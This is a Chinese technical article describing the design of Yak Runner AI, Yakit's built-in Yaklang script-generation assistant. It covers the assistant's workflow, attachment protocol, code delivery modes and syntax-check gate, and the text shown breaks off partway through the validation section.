      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MTM4NzIxMQ==&amp;mid=2247530044&amp;idx=1&amp;sn=d1ac61688c3a5b5d16ccc8d27f97d9d7</link>
      <description>深度解析 Yakit 内置 Yaklang 脚本生成系统</description>
      <content:encoded><![CDATA[<p>原创 <span>YAK</span> <span>2026-07-31 16:38</span> <span style="display: inline-block;">湖南</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a2b7c262&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72FA3IeUALUNJxbAo0XJrlMEE6EWkicMSDIz3IW0h3xBy5bGdcRuqaia28Thyl0iabNY9MXfdzaVcepmnp8Xj9MCJrIJQovbClXkas%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>深度解析 Yakit 内置 Yaklang 脚本生成系统</p>
  <p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4064814814814815" data-s="300,640" data-type="webp" data-w="1080" type="block" data-imgfileid="100044331" src="https://wechat2rss.xlab.app/img-proxy/?k=98092d9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZdiaxz5GbodItgmHjwFs0fGAZXuShNL1nBkw4G0V2QO8ZnVOQ7JlrFYZYUfU5Bk3BibsomgmibdYyLKw%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7"> 一、它是什么</span></strong></p></div></div></div><p style="margin: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="ms5stlxx33s"><span leaf="">Yak Runner AI 是嵌在 Yakit </span></span><span mpa-font-style="ms5stlxxmy7" style="font-size: 15px;"><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Yak Runner</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;"> 里的 Yaklang 脚本助手。产品侧对应专注模式</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Yaklang 代码生成</span></span></strong><span leaf=""><span textstyle="" style="letter-spacing: 1px;">（引擎名 </span></span><code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">write_yaklang_code</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: 1px;">）。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="ms5stlxx4l"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">日常用法很直接：打开或新建 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">.yak</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，用自然语言说需求；AI 检索样例与文档，把代码写进编辑器，语法不过就继续改，热加载类脚本还会自动跑 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">YAK_MAIN</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 自测。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="ms5stlxx1gmq"><span leaf="">它不是通用聊天写代码的套壳，差异主要在三点：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.不确定 API 时查样例 / 文档，而不是按 Go/Python 习惯瞎猜</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.改动通过 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">yaklang_code_change</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 事件同步进 Runner，而不是只丢聊天框代码块</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.写完有静态检查门禁，符合策略时还有运行自检门禁</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="ms5sz5ewy9l" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43671875" data-type="png" data-w="1280" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1280" data-height="559" data-imgfileid="100046387" src="https://wechat2rss.xlab.app/img-proxy/?k=b77525e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72FLDnjqTFGCLALMqB3Dzs3ZWw4KibkpAOKTC7KgB6YhKkyL1hZtqah2zHicsGWUoQib8qV2JkQ05WcTicG34osCGOuFY7VJNbp3nqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">二、整体架构</span></strong></p></div></div></div><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;margin-top: 8px;" data-mpa-action-id="ms5szj52bqe" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-type="png" data-w="1536" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1536" data-height="1024" data-imgfileid="100046389" src="https://wechat2rss.xlab.app/img-proxy/?k=776e7edd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72EMiaENZofO0O5o6yb1bJQCpdo73NYPia1yRJbCMMUSMlGk9Ew20mHuruvXShJ4e3PeoJh9av9k59jOqfdgc4fWpIibUwwptvlmpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">数据流一句话：</span></span></p><blockquote><p><span leaf="">UI 把任务和附件交给引擎 → 专注模式多轮改代码 → 每次提交先过语法 → 语法干净后再按脚本类型决定是否自测 → 按交付目标用不同 </span><code><span leaf="">op</span></code><span leaf=""> 把结果推回编辑器。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">三、标准工作流</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">引擎侧固定顺序（前端每步都有可见反馈）：</span></span></p><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">步骤</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">做什么</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">关键动作 / 机制</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">1. 选库</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">把需求映射到 2–4 个标准库</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Init 预检索 / 库索引</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">2. 搜样例</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">按库与关键词找真实代码</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">grep_yaklang_samples</span></code><span leaf=""> / </span><code><span leaf="">semantic_search_yaklang_samples</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">3. 查文档</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">不确定签名时查 yakdoc</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">yakdoc_*</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">4. 写/改代码</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">新建整文件或增量修改</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">write_code</span></code><span leaf=""> / </span><code><span leaf="">modify_code</span></code><span leaf=""> / </span><code><span leaf="">insert_code</span></code><span leaf=""> / </span><code><span leaf="">delete_code</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">5. 语法验证</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">静态分析，有 Error 则不允许收尾</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">checkCodeAndFormatErrors</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">6. 运行自检</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">语法通过后按脚本类型策略执行</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">PostSyntaxCleanHook</span></code><span leaf=""> → </span><code><span leaf="">RunYakSelfTest</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">7. 收尾</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">中文阶段总结</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">finalize</span></p></td></tr></tbody></table><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-type="png" data-w="1536" style="background-color: transparent;" data-width="1536" data-height="1024" data-imgfileid="100046388" src="https://wechat2rss.xlab.app/img-proxy/?k=47aad9ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72FVzcgLmDiakjzBXQqiamEkgQdHkS5eAScvxdlnaBb0AR6YKFDRUWgMqcDvDUSHQ5o4HKEqnW8vXpvSe989UictNJdZbxYGKgezBk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">原则补充：</span></span></p><ul class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">禁止反复反问用户</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">业务有多种合理实现时，选通用默认直接写，可调项放进 </span></span><code style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">__DESC__</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> / </span></span><code style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">cli</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">。</span></span></p></li><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">API 不确定就查，不要猜</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">查的是样例库和 yakdoc，不是问用户。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">已有代码优先 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">modify_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">（Cursor 风格 Patch），尽量不要 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);">write_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(0, 0, 0);"> 整文件重置。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">四、 附件协议</span></strong></p></div></div></div><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">前端通过 </span></span><code style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">AttachedResourceInfo</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 传入上下文，常见包括：</span></span></p><table style="border: none;border-collapse: collapse;min-width: 50px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">资源</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">作用</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">file_path</span></code><span leaf=""> / 当前编辑器文件</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">决定「改哪份文件」；有编辑器目标时优先</span><strong><span leaf=""><span textstyle="" style="color: rgb(253, 128, 9);">replace 系交付</span></span></strong></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">directory_path</span></code></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">工作目录； alone 时常走预览/新建</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">selected</span></code><span leaf="">（选区 JSON）</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">告诉模型关注哪一段</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">其他 file / 文本附件</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">作为附加上下文写入 timeline</span></p></td></tr></tbody></table><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们可以框选代码后右键选择 </span></span><strong style="font-size: 15px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">发送到AI会话</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">，</span><span textstyle="" style="letter-spacing: 1px;">把指定代码片段作为附件发送给对话框</span></span></p><p nodeleaf="" style="padding: 0.5em;" data-mpa-action-id="ms5t1v9720w3" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4801123069723912" data-type="png" data-w="2137" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="2137" data-height="1026" data-imgfileid="100046385" src="https://wechat2rss.xlab.app/img-proxy/?k=1c0f2491&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72GsrXCu6wiaUfvyDpNyvLgJDQeXojP2JC0YGxrF9WJ1kCwmXYqhOa3iaDCOo9RFqiaGXAsevt6M2uwmTia8EM845Wd4ktiaPtWFWVAo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">没有挂编辑器文件、也没有明确落盘路径时，系统会在 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">~/yakit-projects/code/</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 下分配 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">gen_code_*.yak</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">然后生成一份同名的未保存文件到工作区。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">五、 代码生成策略：create / patch / replace</span></strong></p></div></div></div><ul class="list-paddingleft-1"><li style="color:#fd8009;"><p style="margin: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Create：中间静默，结束一次 create。</span></span></strong></p></li><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">避免新建文件时每一轮修改都弹一次「新文件事件」。过程中 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">full_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 仍在引擎里演进，只是不推中间 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">yaklang_code_change</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p></li></ul><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Replace：过程中每次修改都会触发，主要用于大段代码重构。</span></span></strong></p></li><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">磁盘上每次都会写成</span></span><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">完整代码片段</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">。</span></span></p></li><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">若内容与上次已推送相同，或本轮没有任何 committed 编辑（仅 seed），则跳过 flush，避免重复刷屏。</span></span></p></li></ul><li style="color:#fd8009;"><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">Patch：小范围代码修改，使用patch格式精准匹配。</span></span></strong></p></li><ul class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">常用于语法错误修复和函数签名替换。</span></span></p></li></ul></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">优先级规则：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">1.有打开的编辑器文件</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> → 永远对准该文件，基准交付类型是 replace 系（过程中可发 patch，结束时可发 replace 终态）</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">2.已有 </span></span></strong><strong><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">gen_code_*.yak</span></span></code></strong><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> 路径</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);"> → create</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">3.其他真实路径</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">（用户点名的文件）→ replace</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);">4.aispace 暂存或空路径</span></span></strong><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> → 新建 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">gen_code_*.yak</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，create</span></span></p><p nodeleaf="" style="padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="ms5t2gflnu3" data-pm-slice="0 0 []"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6666666666666666" data-type="png" data-w="1536" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;" data-width="1536" data-height="1024" data-imgfileid="100046390" src="https://wechat2rss.xlab.app/img-proxy/?k=41e678e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HxBWyK57ndGcibjAdjr5EvIk6dwqbwhYiafcOxDLe1NQVaNicAZRNzRkIUFlVsKibPZtL0ku92c8nF89uBBjU9kwvxibgia9XA21yDw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">六、代码验证（语法 / 静态分析）</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">每次 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">write_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">modify_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">insert_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> / </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">delete_code</span></span></code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 把内容写入 </span></span><code><span leaf="" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">full_code</span></span></code><span leaf="" style="font-size: 